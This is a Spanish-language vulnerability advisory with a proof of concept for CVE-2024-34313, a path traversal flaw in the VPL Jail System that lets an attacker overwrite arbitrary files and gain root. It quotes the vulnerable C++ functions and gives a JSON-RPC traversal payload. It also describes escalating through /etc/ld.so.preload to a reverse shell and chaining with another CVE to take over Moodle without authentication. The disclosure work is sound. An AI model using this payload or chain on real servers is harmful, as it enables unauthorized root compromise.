
☣️ Este repositorio contiene la descripción y una prueba de concepto para CVE-2024-34313
VPL Jail System hasta v4.0.2 se descubrió que contiene una vulnerabilidad de Path Traversal que permite la sobrescritura arbitraria de archivos y, por lo tanto, la escalada de privilegios al usuario root.
Esta vulnerabilidad puede encadenarse con CVE-2024-34312 para tomar el control de una instancia de Moodle de forma remota sin necesidad de autenticación previa.
El servidor jail es un servidor C++ que ejecuta código no confiable en un entorno sandbox como un usuario sin privilegios. El servidor escucha conexiones entrantes en un puerto específico y crea un nuevo proceso para cada conexión.
La función commandUpdate en jail.cpp recibe un mapa de archivos y sus contenidos desde el cliente.
Se llama a ProcessMonitor::writeFile con el nombre del archivo y su contenido, y simplemente concatena el directorio home del usuario jail con el nombre del archivo para obtener la ruta completa.
Luego, el archivo se escribe en el sistema de archivos mediante Util::writeFile.
Esto permite a un atacante escribir archivos arbitrarios en el sistema de archivos mediante path traversal.
Esta vulnerabilidad puede ser utilizada por un atacante para sobrescribir /etc/ld.so.preload con la ruta a un archivo de objeto compartido que será cargado por cada ejecutable dinámicamente enlazado del sistema, como se explica aquí. Este archivo de objeto compartido puede luego usarse para ejecutar código arbitrario como root, como lanzar una reverse shell. Para facilitar la explotación, el archivo de objeto compartido también se carga cada vez que se ejecuta un binario setuid, y la solicitud al servidor puede incluir un script que intente ejecutar un binario setuid como sudo, asegurando que el archivo de objeto compartido se cargue inmediatamente.
En la configuración predeterminada del sistema jail, el atacante no necesita ninguna autenticación.
Un ejemplo de payload para escribir "hello-world.txt" en la raíz del sistema sería:
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
El adminticket se puede obtener fácilmente enviando una solicitud no autenticada al sistema jail. A pesar de su nombre, es solo una forma de token de sesión. Los archivos binarios codificados en Base64 se pueden subir estableciendo fileencoding en 1.
El fragmento de código vulnerable se muestra a continuación.
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}